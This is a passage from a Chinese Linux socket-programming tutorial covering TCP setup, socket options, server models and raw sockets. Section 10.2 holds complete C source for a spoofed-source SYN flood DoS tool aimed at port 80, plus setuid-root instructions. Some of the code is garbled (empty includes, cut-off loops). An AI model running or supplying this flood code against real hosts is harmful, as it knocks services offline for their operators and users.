第三步客户机收到了服务器的 TCP,并从 ACK 为 1 和 ack_seq=1001 知道是从服务器来的确认信息.于是客户机也向服务器发送确认信息.客户机设置 ACK=1, 和 ack_seq=2001,seq=1001,发送给服务器.至此客户端完成连接.

最后一步服务器受到确认信息,也完成连接.

通过上面几个步骤,一个 TCP 连接就建立了.当然在建立过程中可能出现错误,不过 TCP 协议可以保证自己去处理错误的.

说一说其中的一种错误.

听说过 DOS 吗?(可不是操作系统啊).今年春节的时候,美国的五大网站一起受到攻击.攻击者用的就是 DOS(拒绝式服务)方式.概括的说一下原理.

客户机先进行第一个步骤.服务器收到后,进行第二个步骤.按照正常的 TCP 连接,客户机应该进行第三个步骤.

不过攻击者实际上并不进行第三个步骤.因为客户端在进行第一个步骤的时候,修改了自己的 IP 地址,就是说将一个实际上不存在的 IP 填充在自己 IP 数据包的发送者的 IP 一栏.这样因为服务器发的IP地址没有人接收,所以服务端会收不到第三个步骤的确认信号,这样服务务端会在那边一直等待,直到超时.

这样当有大量的客户发出请求后,服务端会有大量等待,直到所有的资源被用光,而不能再接收客户机的请求.

这样当正常的用户向服务器发出请求时,由于没有了资源而不能成功.于是就出现了春节时所出现的情况.

8.套接字选项

有时候我们要控制套接字的行为(如修改缓冲区的大小),这个时候我们就要控制套接字的选项了.

8.1 getsockopt 和 setsockopt

int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optlen)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t *optlen)

level 指定控制套接字的层次.可以取三种值: 1)SOL_SOCKET:通用套接字选项. 2)IPPROTO_IP:IP 选项. 3)IPPROTO_TCP:TCP 选项.
optname 指定控制的方式(选项的名称),我们下面详细解释

optval 获得或者是设置套接字选项.根据选项名称的数据类型进行转换

选项名称	说明	数据类型
	SOL_SOCKET	
SO_BROADCAST	允许发送广播数据	int
SO_DEBUG	允许调试	int
SO_DONTROUTE	不查找路由	int
SO_ERROR	获得套接字错误	int
SO_KEEPALIVE	保持连接	int
SO_LINGER	延迟关闭连接	struct linger
SO_OOBINLINE	带外数据放入正常数据流	int
SO_RCVBUF	接收缓冲区大小	int
SO_SNDBUF	发送缓冲区大小	int
SO_RCVLOWAT	接收缓冲区下限	int
SO_SNDLOWAT	发送缓冲区下限	int
SO_RCVTIMEO	接收超时	struct timeval
SO_SNDTIMEO	发送超时	struct timeval
SO_REUSERADDR	允许重用本地地址和端口	int
SO_TYPE	获得套接字类型	int
SO_BSDCOMPAT	与 BSD 系统兼容	int
	IPPROTO_IP	
IP_HDRINCL	在数据包中包含 IP 首部	int

IP_OPTINOS	IP 首部选项	int
IP_TOS	服务类型	
IP_TTL	生存时间	int

IPPRO_TCP		
TCP_MAXSEG	TCP 最大数据段的大小	int
TCP_NODELAY	不使用 Nagle 算法	int

关于这些选项的详细情况请查看 **Linux Programmer's Manual**

8.2 ioctl

ioctl 可以控制所有的文件描述符的情况,这里介绍一下控制套接字的选项.

```
int ioctl(int fd,int req,...)
```

ioctl 的控制选项		
SIOCATMARK	是否到达带外标记	int
FIOASYNC	异步输入/输出标志	int
FIONREAD	缓冲区可读的字节数	int

详细的选项请用 **man ioctl_list** 查看.

9.服务器模型

学习过《软件工程》吧.软件工程可是每一个程序员"必修"的课程啊.如果你没有学习过,建议你去看一看. 在这一章里面,我们一起来从软件工程的角度学习网络编程的思想.在我们写程序之前, 我们都应该从软件工程的角度规划好我们的软件,这样我们开发软件的效率才会高. 在网络程序里面,一般的来说都是许多客户机对应一个服务器.为了处理客户机的请求,对服务端的程序就提出了特殊的要求.我们学习一下目前最常用的服务器模型.

循环服务器:循环服务器在同一个时刻只可以响应一个客户端的请求

并发服务器:并发服务器在同一个时刻可以响应多个客户端的请求

9.1 循环服务器:UDP 服务器

UDP 循环服务器的实现非常简单:UDP 服务器每次从套接字上读取一个客户端的请求,处理, 然后将结果返回给客户机.

可以用下面的算法来实现.

```
socket(...);
bind(...);
while(1)
 {
        recvfrom(...);
        process(...);
        sendto(...);
}
```

因为 UDP 是非面向连接的,没有一个客户端可以老是占住服务端. 只要处理过程不是死循环, 服务器对于每一个客户机的请求总是能够满足.

9.2 循环服务器:TCP 服务器

TCP 循环服务器的实现也不难:TCP 服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接.

算法如下:

```
socket(...);
bind(...);
```

```
listen(...);
while(1)
{
        accept(...);
        while(1)
        {
                read(...);
                process(...);
                write(...);
        }
        close(...);
}
```

TCP 循环服务器一次只能处理一个客户端的请求.只有在这个客户的所有请求都满足后,服务器才可以继续后面的请求.这样如果有一个客户端占住服务器不放时,其它的客户机都不能工作了.因此,TCP 服务器一般很少用循环服务器模型的.

9.3 并发服务器:TCP 服务器

为了弥补循环 TCP 服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是每一个客户机的请求并不由服务器直接处理,而是服务器创建一个 子进程来处理.

算法如下:

```
socket(...);
bind(...);
listen(...);
while(1)
{
        accept(...);
        if(fork(..)==0)
          {
                while(1)
                 {
                   read(...);
                   process(...);
                   write(...);
                 }
            close(...);
            exit(...);
          }
        close(...);
}
```

TCP 并发服务器可以解决 TCP 循环服务器客户机独占服务器的情况. 不过也同时带来了一个不小的问题.为了响应客户机的请求,服务器要创建子进程来处理. 而创建子进程是一种非常消耗资源的操作.

9.4 并发服务器:多路复用 I/O

为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用 I/O 模型.

首先介绍一个函数 select

```
int select(int nfds,fd_set *readfds,fd_set *writefds,
                    fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)
```

一般的来说当我们在向文件读写时,进程有可能在读写处阻塞,直到一定的条件满足. 比如我们从一个套接字读数据时,可能缓冲区里面没有数据可读(通信的对方还没有 发送数据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.如果我们不 希望阻塞,我们的一个选择是用 select 系统调用. 只要我们设置好 select 的各个参数,那么当文件可以读写的时候 select 回"通知"我们 说可以读写了. readfds 所有要读的文件文件描述符的集合

writefds 所有要的写文件文件描述符的集合

exceptfds 其他的服要向我们通知的文件描述符

timeout 超时设置.

nfds 所有我们监控的文件描述符中最大的那一个加 1

在我们调用 select 时进程会一直阻塞直到以下的一种情况发生. 1)有文件可以读.2)有文件可以写.3)超时所设置的时间到.

为了设置文件描述符我们要使用几个宏. FD_SET 将 fd 加入到 fdset

FD_CLR 将 fd 从 fdset 里面清除

FD_ZERO 从 fdset 中清除所有的文件描述符

FD_ISSET 判断 fd 是否在 fdset 集合中

使用 select 的一个例子

```
int use_select(int *readfd,int n)
{
    fd_set my_readfd;
    int maxfd;
    int i;

    maxfd=readfd[0];
    for(i=1;i
     if(readfd[i]>maxfd) maxfd=readfd[i];
    while(1)
    {
          /*    将所有的文件描述符加入    */
          FD_ZERO(&my_readfd);
          for(i=0;i
               FD_SET(readfd[i],*my_readfd);
          /*       进程阻塞                    */
          select(maxfd+1,& my_readfd,NULL,NULL,NULL);
          /*            有东西可以读了          */
          for(i=0;i
            if(FD_ISSET(readfd[i],&my_readfd))
                 {
                      /*  原来是我可以读了   */
                           we_read(readfd[i]);
                 }
    }
}
```

使用 select 后我们的服务器程序就变成了.

```
          初始话(socket,bind,listen);

     while(1)
          {
          设置监听读写文件描述符(FD_*);

          调用 select;

          如果是倾听套接字就绪,说明一个新的连接请求建立
               {
                   建立连接(accept);
                   加入到监听文件描述符中去;
               }
```

```
        否则说明是一个已经连接过的描述符
                {
                    进行操作(read 或者 write);
                 }

        }
```

多路复用 I/O 可以解决资源限制的问题.着模型实际上是将 UDP 循环模型用在了 TCP 上面. 这也就带来了一些问题.如由于服务器依次处理客户的请求,所以可能会导致有的客户会等待很久.

9.5 并发服务器:UDP 服务器

人们把并发的概念用于 UDP 就得到了并发 UDP 服务器模型. 并发 UDP 服务器模型其实是简单的.和并发的 TCP 服务器模型一样是创建一个子进程来处理的 算法和并发的 TCP 模型一样.

除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上很少用这种模型.

9.6 一个并发 TCP 服务器实例

```
#include
#include
#include
#include
#include
#include
#define MY_PORT                 8888

int main(int argc ,char **argv)
{
  int listen_fd,accept_fd;
  struct sockaddr_in          client_addr;
  int n;

  if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
   {
            printf("Socket Error:%s\n\a",strerror(errno));
            exit(1);
   }
```

```
 bzero(&client_addr,sizeof(struct sockaddr_in));
 client_addr.sin_family=AF_INET;
 client_addr.sin_port=htons(MY_PORT);
 client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
 n=1;
 /* 如果服务器终止后,服务器可以第二次快速启动而不用等待一段时间  */
 setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
 if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
  {
          printf("Bind Error:%s\n\a",strerror(errno));
          exit(1);
  }
  listen(listen_fd,5);
  while(1)
  {
    accept_fd=accept(listen_fd,NULL,NULL);
    if((accept_fd<0)&&(errno==EINTR))
             continue;
    else if(accept_fd<0)
     {
          printf("Accept Error:%s\n\a",strerror(errno));
          continue;
     }
   if((n=fork())==0)
    {
          /* 子进程处理客户端的连接 */
          char buffer[1024];

          close(listen_fd);
          n=read(accept_fd,buffer,1024);
          write(accept_fd,buffer,n);
          close(accept_fd);
          exit(0);
    }
    else if(n<0)
          printf("Fork Error:%s\n\a",strerror(errno));
    close(accept_fd);
   }
}
```

你可以用我们前面写客户端程序来调试着程序,或者是用来 telnet 调试

10.原始套接字

我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由 TCP 和 UDP 套接字不能够实现的功能. 注意原始套接字只能够由有 root 权限的人创建.

10.1 原始套接字的创建

int sockfd(AF_INET,SOCK_RAW,protocol)

可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP 等等.详细的情况查看 下面我们以一个实例来说明原始套接字的创建和使用

10.2 一个原始套接字的实例

还记得 DOS 是什么意思吗?在这里我们就一起来编写一个实现 DOS 的小程序. 下面是程序的源代码

```
/********************  DOS.c                    ****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define DESTPORT            80          /*  要攻击的端口(WEB)        */
#define LOCALPORT           8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
```

```
{
  int sockfd;
  struct sockaddr_in addr;
  struct hostent *host;
  int on=1;

  if(argc!=2)
  {
            fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
            exit(1);
  }

  bzero(&addr,sizeof(struct sockaddr_in));
  addr.sin_family=AF_INET;
  addr.sin_port=htons(DESTPORT);

  if(inet_aton(argv[1],&addr.sin_addr)==0)
  {
            host=gethostbyname(argv[1]);
            if(host==NULL)
            {
                      fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
                      exit(1);
            }
            addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
  }

  /****  使用 IPPROTO_TCP 创建一个 TCP 的原始套接字       ****/

  sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
  if(sockfd<0)
  {
            fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
            exit(1);
  }
/********    设置 IP 数据包格式,告诉系统内核模块 IP 数据包由我们自己来填写    ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/****    没有办法,只用超级护用户才可以使用原始套接字       *********/
  setuid(getpid());

/*********    发送炸弹了!!!!                ****/
  send_tcp(sockfd,&addr);
```

```
}



/*******   发送炸弹的实现     *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
 char buffer[100];   /****  用来放置我们的数据包   ****/
 struct ip *ip;
 struct tcphdr *tcp;
 int head_len;

 /*******  我们的数据包实际上没有任何内容,所以长度就是两个结构的长度   ***/

 head_len=sizeof(struct ip)+sizeof(struct tcphdr);

 bzero(buffer,100);

 /********   填充 IP 数据包的头部,还记得 IP 的头格式吗?       ******/
 ip=(struct ip *)buffer;
 ip->ip_v=IPVERSION;                  /**  版本一般的是  4          **/
 ip->ip_hl=sizeof(struct ip)>>2; /** IP 数据包的头部长度    **/
 ip->ip_tos=0;                        /**  服务类型                 **/
 ip->ip_len=htons(head_len);        /** IP 数据包的长度          **/
 ip->ip_id=0;                         /**  让系统去填写吧          **/
 ip->ip_off=0;                        /**  和上面一样,省点时间  **/
 ip->ip_ttl=MAXTTL;                   /**  最长的时间     255       **/
 ip->ip_p=IPPROTO_TCP;                /**  我们要发的是  TCP 包    **/
 ip->ip_sum=0;                        /**  校验和让系统去做       **/
 ip->ip_dst=addr->sin_addr;         /**  我们攻击的对象          **/

 /*******   开始填写 TCP 数据包                                    *****/
 tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
 tcp->source=htons(LOCALPORT);
 tcp->dest=addr->sin_port;                /**  目的端口       **/
 tcp->seq=random();
 tcp->ack_seq=0;
 tcp->doff=5;
 tcp->syn=1;                              /**  我要建立连接  **/
 tcp->check=0;


 /**  好了,一切都准备好了.服务器,你准备好了没有?? ^_^    **/
 while(1)
```

```
    {
  /**    你不知道我是从那里来的,慢慢的去等吧!          **/
       ip->ip_src.s_addr=random();

  /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
  /**                    下面这条可有可无       */
       tcp->check=check_sum((unsigned short *)tcp,
                            sizeof(struct tcphdr));
       sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
    }
}

/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
  register int nleft=len;
  register int sum=0;
  register short *w=addr;
    short answer=0;

  while(nleft>1)
  {
    sum+=*w++;
    nleft-=2;
  }
  if(nleft==1)
  {
    *(unsigned char *)(&answer)=*(unsigned char *)w;
    sum+=answer;
  }

  sum=(sum>>16)+(sum&0xffff);
  sum+=(sum>>16);
  answer=~sum;
  return(answer);
}
```

编译一下,拿 localhost 做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,我们应该将这个程序的所有者变为 root,且 设置 setuid 位

```
[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS
```

10.3 总结

原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了. 不过这里面是不是有很多的乐趣呢. 当我们创建了一个 TCP 套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,回自动的调用相应的模块给数据加上 TCP 头部,然后加上 IP 头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们发送出去. 在上面的实例中,由于我们要修改我们的源 IP 地址,所以我们使用了 setsockopt 函数,如果我们只是修改 TCP 数据,那么 IP 数据一样也可以由系统来创建的.

---

11. 后记

总算完成了网络编程这个教程.算起来我差不多写了一个星期,原来以为写这个应该是一件 不难的事,做起来才知道原来有很多的地方都比我想象的要难.我还把很多的东西都省略掉了 不过写完了这篇教程以后,我好象对网络的认识又增加了一步.

如果我们只是编写一般的 网络程序还是比较容易的,但是如果我们想写出比较好的网络程序我们还有着遥远的路要走. 网络程序一般的来说都是多进程加上多线程的.为了处理好他们内部的关系,我们还要学习 进程之间的通信.在网络程序里面有着许许多多的突发事件,为此我们还要去学习更高级的 事件处理知识.现在的信息越来越多了,为了处理好这些信息,我们还要去学习数据库. 如果要编写出有用的黑客软件,我们还要去熟悉各种网络协议.总之我们要学的东西还很多很多.

看一看外国的软件水平,看一看印度的软件水平,宝岛台湾的水平,再看一看我们自己的 软件水平大家就会知道了什么叫做差距.我们现在用的软件有几个是我们中国人自己编写的.

不过大家不要害怕,不用担心.只要我们还是清醒的,还能够认清我们和别人的差距, 我们就还有希望. 毕竟我们现在还年轻.只要我们努力,认真的去学习,我们一定能够学好的.我们就可以追上别人直到超过别人!

相信一点:

别人可以做到的我们一样可以做到,而且可以比别人做的更好!

勇敢的年轻人,为了我们伟大祖国的软件产业,为了祖国的未来,努力的去奋斗吧!祖国会记住你们的!

hoyt

11.1 参考资料

<<实用 UNIX 编程>>---机械工业出版社.

<>--清华大学出版社.